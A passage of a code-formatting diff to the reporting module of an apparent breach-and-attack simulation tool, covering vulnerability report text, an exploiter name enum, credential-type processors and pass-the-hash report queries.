@@ def _handle_struts2_issue(issue, instance_arn): title="Struts2 servers are vulnerable to remote code execution.", description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - "The attack was made possible because the server is using an old version of Jakarta based file " - "upload Multipart parser.".format(machine=issue['machine'], ip_address=issue['ip_address']), + "The attack was made possible because the server is using an old version of Jakarta based file " + "upload Multipart parser.".format( + machine=issue["machine"], ip_address=issue["ip_address"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -388,12 +396,14 @@ def _handle_weblogic_issue(issue, instance_arn): severity=10, title="Oracle WebLogic servers are vulnerable to remote code execution.", description="Install Oracle critical patch updates. Or update to the latest version. " - "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", + "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - "The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware " - "(subcomponent: WLS Security).".format(machine=issue['machine'], ip_address=issue['ip_address']), + "The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware " + "(subcomponent: WLS Security).".format( + machine=issue["machine"], ip_address=issue["ip_address"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -404,7 +414,7 @@ def _handle_hadoop_issue(issue, instance_arn): title="Hadoop/Yarn servers are vulnerable to remote code execution.", description="Run Hadoop in secure mode, add Kerberos authentication.", recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - "The attack was made possible due to default Hadoop/Yarn configuration being insecure.", + "The attack was made possible due to default Hadoop/Yarn configuration being insecure.", instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index 391b23cf1b7..c19f3d5e379 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -13,7 +13,10 @@ def populate_exporter_list(): if len(manager.get_exporters_list()) != 0: logger.debug( - "Populated exporters list with the following exporters: {0}".format(str(manager.get_exporters_list()))) + "Populated exporters list with the following exporters: {0}".format( + str(manager.get_exporters_list()) + ) + ) def try_add_aws_exporter_to_manager(manager): diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 65964b5de35..f519100ed7e 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -2,13 +2,18 @@ from enum import Enum from typing import Type, Dict -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import \ - CredExploitProcessor -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ExploitProcessor -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import \ - ShellShockExploitProcessor -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon import \ - ZerologonExploitProcessor +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( + CredExploitProcessor, +) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( + ExploitProcessor, +) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( + ShellShockExploitProcessor, +) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon import ( + ZerologonExploitProcessor, +) @dataclass @@ -20,23 +25,35 @@ class ExploiterDescriptor: class ExploiterDescriptorEnum(Enum): - SMB = ExploiterDescriptor('SmbExploiter', 'SMB Exploiter', CredExploitProcessor) - WMI = ExploiterDescriptor('WmiExploiter', 'WMI Exploiter', CredExploitProcessor) - SSH = ExploiterDescriptor('SSHExploiter', 'SSH Exploiter', CredExploitProcessor) - SAMBACRY = ExploiterDescriptor('SambaCryExploiter', 'SambaCry Exploiter', CredExploitProcessor) - ELASTIC = ExploiterDescriptor('ElasticGroovyExploiter', 'Elastic Groovy Exploiter', ExploitProcessor) - MS08_067 = ExploiterDescriptor('Ms08_067_Exploiter', 'Conficker Exploiter', ExploitProcessor) - SHELLSHOCK = ExploiterDescriptor('ShellShockExploiter', 'ShellShock Exploiter', ShellShockExploitProcessor) - STRUTS2 = ExploiterDescriptor('Struts2Exploiter', 'Struts2 Exploiter', ExploitProcessor) - WEBLOGIC = ExploiterDescriptor('WebLogicExploiter', 'Oracle WebLogic Exploiter', ExploitProcessor) - HADOOP = ExploiterDescriptor('HadoopExploiter', 'Hadoop/Yarn Exploiter', ExploitProcessor) - MSSQL = ExploiterDescriptor('MSSQLExploiter', 'MSSQL Exploiter', ExploitProcessor) - VSFTPD = ExploiterDescriptor('VSFTPDExploiter', 'VSFTPD Backdoor Exploiter', CredExploitProcessor) - DRUPAL = ExploiterDescriptor('DrupalExploiter', 'Drupal Server Exploiter', ExploitProcessor) - ZEROLOGON = ExploiterDescriptor('ZerologonExploiter', 'Zerologon Exploiter', ZerologonExploitProcessor) + SMB = ExploiterDescriptor("SmbExploiter", "SMB Exploiter", CredExploitProcessor) + WMI = ExploiterDescriptor("WmiExploiter", "WMI Exploiter", CredExploitProcessor) + SSH = ExploiterDescriptor("SSHExploiter", "SSH Exploiter", CredExploitProcessor) + SAMBACRY = ExploiterDescriptor("SambaCryExploiter", "SambaCry Exploiter", CredExploitProcessor) + ELASTIC = ExploiterDescriptor( + "ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor + ) + MS08_067 = ExploiterDescriptor("Ms08_067_Exploiter", "Conficker Exploiter", ExploitProcessor) + SHELLSHOCK = ExploiterDescriptor( + "ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor + ) + STRUTS2 = ExploiterDescriptor("Struts2Exploiter", "Struts2 Exploiter", ExploitProcessor) + WEBLOGIC = ExploiterDescriptor( + "WebLogicExploiter", "Oracle WebLogic Exploiter", ExploitProcessor + ) + HADOOP = ExploiterDescriptor("HadoopExploiter", "Hadoop/Yarn Exploiter", ExploitProcessor) + MSSQL = ExploiterDescriptor("MSSQLExploiter", "MSSQL Exploiter", ExploitProcessor) + VSFTPD = ExploiterDescriptor( + "VSFTPDExploiter", "VSFTPD Backdoor Exploiter", CredExploitProcessor + ) + DRUPAL = ExploiterDescriptor("DrupalExploiter", "Drupal Server Exploiter", ExploitProcessor) + ZEROLOGON = ExploiterDescriptor( + "ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor + ) @staticmethod def get_by_class_name(class_name: str) -> ExploiterDescriptor: - return [descriptor.value - for descriptor in ExploiterDescriptorEnum - if descriptor.value.class_name == class_name][0] + return [ + descriptor.value + for descriptor in ExploiterDescriptorEnum + if descriptor.value.class_name == class_name + ][0] diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py index 3e1cb0601cb..c7a4bd1d075 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py @@ -4,9 +4,9 @@ class CredentialType(Enum): - PASSWORD = 'password' - HASH = 'hash' - KEY = 'key' + PASSWORD = "password" + HASH = "hash" + KEY = "key" @dataclass diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py index 43156561c0a..7ccce8e0011 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py @@ -1,23 +1,26 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import \ - ExploiterReportInfo, CredentialType -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ExploitProcessor +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( + ExploiterReportInfo, + CredentialType, +) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( + ExploitProcessor, +) class CredExploitProcessor: - @staticmethod def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict) - for attempt in exploit_dict['data']['attempts']: - if attempt['result']: - exploit_info.username = attempt['user'] - if attempt['password']: + for attempt in exploit_dict["data"]["attempts"]: + if attempt["result"]: + exploit_info.username = attempt["user"] + if attempt["password"]: exploit_info.credential_type = CredentialType.PASSWORD.value - exploit_info.password = attempt['password'] - elif attempt['ssh_key']: + exploit_info.password = attempt["password"] + elif attempt["ssh_key"]: exploit_info.credential_type = CredentialType.KEY.value - exploit_info.ssh_key = attempt['ssh_key'] + exploit_info.ssh_key = attempt["ssh_key"] else: exploit_info.credential_type = CredentialType.HASH.value return exploit_info diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py index c541ba2523d..1b29fc773c8 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py @@ -1,12 +1,12 @@ from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import \ - ExploiterReportInfo +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( + ExploiterReportInfo, +) class ExploitProcessor: - @staticmethod def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: - ip_addr = exploit_dict['data']['machine']['ip_addr'] + ip_addr = exploit_dict["data"]["machine"]["ip_addr"] machine = NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr)) return ExploiterReportInfo(ip_address=ip_addr, machine=machine, type=class_name) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py index d33bd8615d6..cd627eb5caf 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py @@ -1,14 +1,15 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import \ - ExploiterReportInfo, ExploitProcessor +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( + ExploiterReportInfo, + ExploitProcessor, +) class ShellShockExploitProcessor: - @staticmethod def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict) - urls = exploit_dict['data']['info']['vulnerable_urls'] - exploit_info.port = urls[0].split(':')[2].split('/')[0] - exploit_info.paths = ['/' + url.split(':')[2].split('/')[1] for url in urls] + urls = exploit_dict["data"]["info"]["vulnerable_urls"] + exploit_info.port = urls[0].split(":")[2].split("/")[0] + exploit_info.paths = ["/" + url.split(":")[2].split("/")[1] for url in urls] return exploit_info diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py index e0be6cd4245..09bbce0d687 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py @@ -1,11 +1,12 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ExploitProcessor, \ - ExploiterReportInfo +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( + ExploitProcessor, + ExploiterReportInfo, +) class ZerologonExploitProcessor: - @staticmethod def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict) - exploit_info.password_restored = exploit_dict['data']['info']['password_restored'] + exploit_info.password_restored = exploit_dict["data"]["info"]["password_restored"] return exploit_info diff --git a/monkey/monkey_island/cc/services/reporting/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py index 2389b12da6c..99c5a746750 100644 --- a/monkey/monkey_island/cc/services/reporting/pth_report.py +++ b/monkey/monkey_island/cc/services/reporting/pth_report.py @@ -7,7 +7,7 @@ from monkey_island.cc.services.groups_and_users_consts import USERTYPE from monkey_island.cc.services.node import NodeService -__author__ = 'maor.rayzin' +__author__ = "maor.rayzin" class PTHReportService(object): @@ -31,19 +31,22 @@ def __dup_passwords_mongoquery(): """ pipeline = [ - {"$match": { - 'NTLM_secret': { - "$exists": "true", "$ne": None} - }}, + {"$match": {"NTLM_secret": {"$exists": "true", "$ne": None}}}, { "$group": { - "_id": { - "NTLM_secret": "$NTLM_secret"}, + "_id": {"NTLM_secret": "$NTLM_secret"}, "count": {"$sum": 1}, - "Docs": {"$push": {'_id': "$_id", 'name': '$name', 'domain_name': '$domain_name', - 'machine_id': '$machine_id'}} - }}, - {'$match': {'count': {'$gt': 1}}} + "Docs": { + "$push": { + "_id": "$_id", + "name": "$name", + "domain_name": "$domain_name", + "machine_id": "$machine_id", + } + }, + } + }, + {"$match": {"count": {"$gt": 1}}}, ] return mongo.db.groupsandusers.aggregate(pipeline) @@ -56,8 +59,8 @@ def __get_admin_on_machines_format(admin_on_machines, domain_name): :return: A list of formatted machines names *domain*/*hostname*, to use in shared admins issues. """ - machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1}) - return [domain_name + '\\' + i['hostname'] for i in list(machines)] + machines = mongo.db.monkey.find({"_id": {"$in": admin_on_machines}}, {"hostname": 1}) + return [domain_name + "\\" + i["hostname"] for i in list(machines)] @staticmethod def __strong_users_on_crit_query(): @@ -69,33 +72,28 @@ def __strong_users_on_crit_query(): A list of said users """ pipeline = [ + {"$unwind": "$admin_on_machines"}, + {"$match": {"type": USERTYPE, "domain_name": {"$ne": None}}}, { - '$unwind': '$admin_on_machines' - }, - { - '$match': {'type': USERTYPE, 'domain_name': {'$ne': None}} - }, - { - '$lookup': - { - 'from': 'monkey', - 'localField': 'admin_on_machines', - 'foreignField': '_id', - 'as': 'critical_machine' - } - }, - { - '$match': {'critical_machine.critical_services': {'$ne': []}} + "$lookup": { + "from": "monkey", + "localField": "admin_on_machines", + "foreignField": "_id", + "as": "critical_machine", + } }, - { - '$unwind': '$critical_machine' - } + {"$match": {"critical_machine.critical_services": {"$ne": []}}}, + {"$unwind": "$critical_machine"}, ] return mongo.db.groupsandusers.aggregate(pipeline) @staticmethod def __build_dup_user_label(i): - return i['hostname'] + '\\' + i['username'] if i['hostname'] else i['domain_name'] + '\\' + i['username'] + return ( + i["hostname"] + "\\" + i["username"] + if i["hostname"] + else i["domain_name"] + "\\" + i["username"] + ) @staticmethod def get_duplicated_passwords_nodes(): @@ -104,13 +102,15 @@ def get_duplicated_passwords_nodes(): for doc in docs: users_list = [ { - 'username': user['name'], - 'domain_name': user['domain_name'], - 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if - user['machine_id'] else None - } for user in doc['Docs'] + "username": user["name"], + "domain_name": user["domain_name"], + "hostname": NodeService.get_hostname_by_id(ObjectId(user["machine_id"])) + if user["machine_id"] + else None, + } + for user in doc["Docs"] ] - users_cred_groups.append({'cred_groups': users_list}) + users_cred_groups.append({"cred_groups": users_list}) return users_cred_groups @@ -119,13 +119,19 @@ def get_duplicated_passwords_issues(): user_groups = PTHReportService.get_duplicated_passwords_nodes() issues = [] for group in user_groups: - user_info = group['cred_groups'][0] + user_info = group["cred_groups"][0] issues.append( { - 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords', - 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'], - 'shared_with': [PTHReportService.__build_dup_user_label(i) for i in group['cred_groups']], - 'is_local': False if user_info['domain_name'] else True + "type": "shared_passwords_domain" + if user_info["domain_name"] + else "shared_passwords", + "machine": user_info["hostname"] + if user_info["hostname"] + else user_info["domain_name"], + "shared_with": [ + PTHReportService.__build_dup_user_label(i) for i in group["cred_groups"] + ], + "is_local": False if user_info["domain_name"] else True, } ) return issues @@ -137,16 +143,23 @@ def get_shared_admins_nodes(): # object has at least two objects in it, by making sure any value exists in the array index 1. # Excluding the name Administrator - its spamming the lists and not a surprise the domain Administrator account # is shared. - admins = mongo.db.groupsandusers.find({'type': USERTYPE, 'name': {'$ne': 'Administrator'}, - 'admin_on_machines.1': {'$exists': True}}, - {'admin_on_machines': 1, 'name': 1, 'domain_name': 1}) + admins = mongo.db.groupsandusers.find( + { + "type": USERTYPE, + "name": {"$ne": "Administrator"}, + "admin_on_machines.1": {"$exists": True}, + }, + {"admin_on_machines": 1, "name": 1, "domain_name": 1}, + ) return [ { - 'name': admin['name'], - 'domain_name': admin['domain_name'], - 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], - admin['domain_name']) - } for admin in admins + "name": admin["name"], + "domain_name": admin["domain_name"], + "admin_on_machines": PTHReportService.__get_admin_on_machines_format( + admin["admin_on_machines"], admin["domain_name"] + ), + } + for admin in admins ] @staticmethod @@ -154,13 +167,14 @@ def get_shared_admins_issues(): admins_info = PTHReportService.get_shared_admins_nodes() return [ { - 'is_local': False, - 'type': 'shared_admins_domain', - 'machine': admin['domain_name'], - 'username': admin['domain_name'] + '\\' + admin['name'], - 'shared_machines': admin['admin_on_machines'], + "is_local": False, + "type": "shared_admins_domain", + "machine": admin["domain_name"], + "username": admin["domain_name"] + "\\" + admin["name"], + "shared_machines": admin["admin_on_machines"], } - for admin in admins_info] + for admin in admins_info + ] @staticmethod def get_strong_users_on_critical_machines_nodes(): @@ -169,15 +183,18 @@ def get_strong_users_on_critical_machines_nodes(): docs = PTHReportService.__strong_users_on_crit_query() for doc in docs: - hostname = str(doc['critical_machine']['hostname']) + hostname = str(doc["critical_machine"]["hostname"]) if hostname not in crit_machines: crit_machines[hostname] = { - 'threatening_users': [], - 'critical_services': doc['critical_machine']['critical_services'] + "threatening_users": [], + "critical_services": doc["critical_machine"]["critical_services"], + } + crit_machines[hostname]["threatening_users"].append( + { + "name": str(doc["domain_name"]) + "\\" + str(doc["name"]), + "creds_location": doc["secret_location"], } - crit_machines[hostname]['threatening_users'].append( - {'name': str(doc['domain_name']) + '\\' + str(doc['name']), - 'creds_location': doc['secret_location']}) + ) return crit_machines @staticmethod @@ -186,11 +203,14 @@ def get_strong_users_on_crit_issues(): return [ { - 'type': 'strong_users_on_crit', - 'machine': machine, - 'services': crit_machines[machine].get('critical_services'), - 'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']] - } for machine in crit_machines + "type": "strong_users_on_crit", + "machine": machine, + "services": crit_machines[machine].get("critical_services"), + "threatening_users": [ + i["name"] for i in crit_machines[machine]["threatening_users"] + ], + } + for machine in crit_machines ] @staticmethod @@ -198,22 +218,20 @@ def get_strong_users_on_crit_details(): user_details = {} crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes() for machine in crit_machines: - for user in crit_machines[machine]['threatening_users']: - username = user['name'] + for user in crit_machines[machine]["threatening_users"]: + username = user["name"] if username not in user_details: - user_details[username] = { - 'machines': [], - 'services': [] - } - user_details[username]['machines'].append(machine) - user_details[username]['services'] += crit_machines[machine]['critical_services'] + user_details[username] = {"machines": [], "services": []} + user_details[username]["machines"].append(machine) + user_details[username]["services"] += crit_machines[machine]["critical_services"] return [ { - 'username': user, - 'machines': user_details[user]['machines'], - 'services_names': user_details[user]['services'] - } for user in user_details + "username": user, + "machines": user_details[user]["machines"], + "services_names": user_details[user]["services"], + } + for user in user_details ] @staticmethod @@ -222,12 +240,13 @@ def generate_map_nodes(): return [ { - 'id': monkey.guid, - 'label': '{0} : {1}'.format(monkey.hostname, monkey.ip_addresses[0]), - 'group': 'critical' if monkey.critical_services is not None else 'normal', - 'services': monkey.critical_services, - 'hostname': monkey.hostname - } for monkey in monkeys + "id": monkey.guid, + "label": "{0} : {1}".format(monkey.hostname, monkey.ip_addresses[0]), + "group": "critical" if monkey.critical_services is not None else "normal", + "services": monkey.critical_services, + "hostname": monkey.hostname, + } + for monkey in monkeys ] @staticmethod @@ -235,52 +254,38 @@ def generate_edges(): edges_list = [] comp_users = mongo.db.groupsandusers.find( - { - 'admin_on_machines': {'$ne': []}, - 'secret_location': {'$ne': []}, - 'type': USERTYPE - }, - { - 'admin_on_machines': 1, 'secret_location': 1 - } + {"admin_on_machines": {"$ne": []}, "secret_location": {"$ne": []}, "type": USERTYPE}, + {"admin_on_machines": 1, "secret_location": 1}, ) for user in comp_users: # A list comp, to get all unique pairs of attackers and victims. - for pair in [pair for pair in product(user['admin_on_machines'], user['secret_location']) - if pair[0] != pair[1]]: + for pair in [ + pair + for pair in product(user["admin_on_machines"], user["secret_location"]) + if pair[0] != pair[1] + ]: edges_list.append( - { - 'from': pair[1], - 'to': pair[0], - 'id': str(pair[1]) + str(pair[0]) - } + {"from": pair[1], "to": pair[0], "id": str(pair[1]) + str(pair[0])} ) return edges_list @staticmethod def get_pth_map(): return { - 'nodes': PTHReportService.generate_map_nodes(), - 'edges': PTHReportService.generate_edges() + "nodes": PTHReportService.generate_map_nodes(), + "edges": PTHReportService.generate_edges(), } @staticmethod def get_report(): pth_map = PTHReportService.get_pth_map() PTHReportService.get_strong_users_on_critical_machines_nodes() - report = \ - { - 'report_info': - { - 'strong_users_table': PTHReportService.get_strong_users_on_crit_details() - }, - - 'pthmap': - { - 'nodes': pth_map.get('nodes'), - 'edges': pth_map.get('edges') - } - } + report = { + "report_info": { + "strong_users_table": PTHReportService.get_strong_users_on_crit_details() + }, + "pthmap": {"nodes": pth_map.get("nodes"), "edges": pth_map.get("edges")}, + } return report diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 6430a2559a9..5bbb64f3922 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -12,19 +12,31 @@ from monkey_island.cc.models import Monkey from monkey_island.cc.services.utils.network_utils import get_subnets, local_ip_addresses from monkey_island.cc.services.config import ConfigService -from common.config_value_paths import (EXPLOITER_CLASSES_PATH, LOCAL_NETWORK_SCAN_PATH, - PASSWORD_LIST_PATH, SUBNET_SCAN_LIST_PATH, - USER_LIST_PATH) -from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups +from common.config_value_paths import ( + EXPLOITER_CLASSES_PATH, + LOCAL_NETWORK_SCAN_PATH, + PASSWORD_LIST_PATH, + SUBNET_SCAN_LIST_PATH, + USER_LIST_PATH, +) +from monkey_island.cc.services.configuration.utils import ( + get_config_network_segments_as_subnet_groups, +) from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ExploiterDescriptorEnum -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import \ - CredentialType -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import \ - ExploiterReportInfo +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( + ExploiterDescriptorEnum, +) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( + CredentialType, +) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( + ExploiterReportInfo, +) from monkey_island.cc.services.reporting.pth_report import PTHReportService from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager -from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_regular_report +from monkey_island.cc.services.reporting.report_generation_synchronisation import ( + safe_generate_regular_report, +) __author__ = "itay.mizeretz" @@ -32,7 +44,6 @@ class ReportService: - class DerivedIssueEnum: WEAK_PASSWORD = "weak_password" STOLEN_CREDS = "stolen_creds" @@ -40,11 +51,19 @@ class DerivedIssueEnum: @staticmethod def get_first_monkey_time(): - return mongo.db.telemetry.find({}, {'timestamp': 1}).sort([('$natural', 1)]).limit(1)[0]['timestamp'] + return ( + mongo.db.telemetry.find({}, {"timestamp": 1}) + .sort([("$natural", 1)]) + .limit(1)[0]["timestamp"] + ) @staticmethod def get_last_monkey_dead_time(): - return mongo.db.telemetry.find({}, {'timestamp': 1}).sort([('$natural', -1)]).limit(1)[0]['timestamp'] + return ( + mongo.db.telemetry.find({}, {"timestamp": 1}) + .sort([("$natural", -1)]) + .limit(1)[0]["timestamp"] + ) @staticmethod def get_monkey_duration(): @@ -65,26 +84,34 @@ def get_monkey_duration(): def get_tunnels(): return [ { - 'type': 'tunnel', - 'machine': NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_id(tunnel['_id'])), - 'dest': NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_id(tunnel['tunnel'])) + "type": "tunnel", + "machine": NodeService.get_node_hostname( + NodeService.get_node_or_monkey_by_id(tunnel["_id"]) + ), + "dest": NodeService.get_node_hostname( + NodeService.get_node_or_monkey_by_id(tunnel["tunnel"]) + ), } - for tunnel in mongo.db.monkey.find({'tunnel': {'$exists': True}}, {'tunnel': 1})] + for tunnel in mongo.db.monkey.find({"tunnel": {"$exists": True}}, {"tunnel": 1}) + ] @staticmethod def get_azure_issues(): creds = ReportService.get_azure_creds() - machines = set([instance['origin'] for instance in creds]) + machines = set([instance["origin"] for instance in creds]) - logger.info('Azure issues generated for reporting') + logger.info("Azure issues generated for reporting") return [ { - 'type': 'azure_password', - 'machine': machine, - 'users': set([instance['username'] for instance in creds if instance['origin'] == machine]) + "type": "azure_password", + "machine": machine, + "users": set( + [instance["username"] for instance in creds if instance["origin"] == machine] + ), } - for machine in machines] + for machine in machines + ] @staticmethod def get_scanned(): @@ -93,60 +120,75 @@ def get_scanned(): nodes = ReportService.get_all_displayed_nodes() for node in nodes: - nodes_that_can_access_current_node = node['accessible_from_nodes_hostnames'] + nodes_that_can_access_current_node = node["accessible_from_nodes_hostnames"] formatted_nodes.append( { - 'label': node['label'], - 'ip_addresses': node['ip_addresses'], - 'accessible_from_nodes': nodes_that_can_access_current_node, - 'services': node['services'], - 'domain_name': node['domain_name'], - 'pba_results': node['pba_results'] if 'pba_results' in node else 'None' - }) + "label": node["label"], + "ip_addresses": node["ip_addresses"], + "accessible_from_nodes": nodes_that_can_access_current_node, + "services": node["services"], + "domain_name": node["domain_name"], + "pba_results": node["pba_results"] if "pba_results" in node else "None", + } + ) - logger.info('Scanned nodes generated for reporting') + logger.info("Scanned nodes generated for reporting") return formatted_nodes @staticmethod def get_all_displayed_nodes(): - nodes_without_monkeys = [NodeService.get_displayed_node_by_id(node['_id'], True) for node in - mongo.db.node.find({}, {'_id': 1})] - nodes_with_monkeys = [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in - mongo.db.monkey.find({}, {'_id': 1})] + nodes_without_monkeys = [ + NodeService.get_displayed_node_by_id(node["_id"], True) + for node in mongo.db.node.find({}, {"_id": 1}) + ] + nodes_with_monkeys = [ + NodeService.get_displayed_node_by_id(monkey["_id"], True) + for monkey in mongo.db.monkey.find({}, {"_id": 1}) + ] nodes = nodes_without_monkeys + nodes_with_monkeys return nodes @staticmethod def get_exploited(): - exploited_with_monkeys = \ - [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in - mongo.db.monkey.find({}, {'_id': 1}) if - not NodeService.get_monkey_manual_run(NodeService.get_monkey_by_id(monkey['_id']))] + exploited_with_monkeys = [ + NodeService.get_displayed_node_by_id(monkey["_id"], True) + for monkey in mongo.db.monkey.find({}, {"_id": 1}) + if not NodeService.get_monkey_manual_run(NodeService.get_monkey_by_id(monkey["_id"])) + ] - exploited_without_monkeys = [NodeService.get_displayed_node_by_id(node['_id'], True) for node in - mongo.db.node.find({'exploited': True}, {'_id': 1})] + exploited_without_monkeys = [ + NodeService.get_displayed_node_by_id(node["_id"], True) + for node in mongo.db.node.find({"exploited": True}, {"_id": 1}) + ] exploited = exploited_with_monkeys + exploited_without_monkeys exploited = [ { - 'label': exploited_node['label'], - 'ip_addresses': exploited_node['ip_addresses'], - 'domain_name': exploited_node['domain_name'], - 'exploits': ReportService.get_exploits_used_on_node(exploited_node) + "label": exploited_node["label"], + "ip_addresses": exploited_node["ip_addresses"], + "domain_name": exploited_node["domain_name"], + "exploits": ReportService.get_exploits_used_on_node(exploited_node), } - for exploited_node in exploited] + for exploited_node in exploited + ] - logger.info('Exploited nodes generated for reporting') + logger.info("Exploited nodes generated for reporting") return exploited @staticmethod def get_exploits_used_on_node(node: dict) -> List[str]: - return list(set([ExploiterDescriptorEnum.get_by_class_name(exploit['exploiter']).display_name - for exploit in node['exploits'] - if exploit['result']])) + 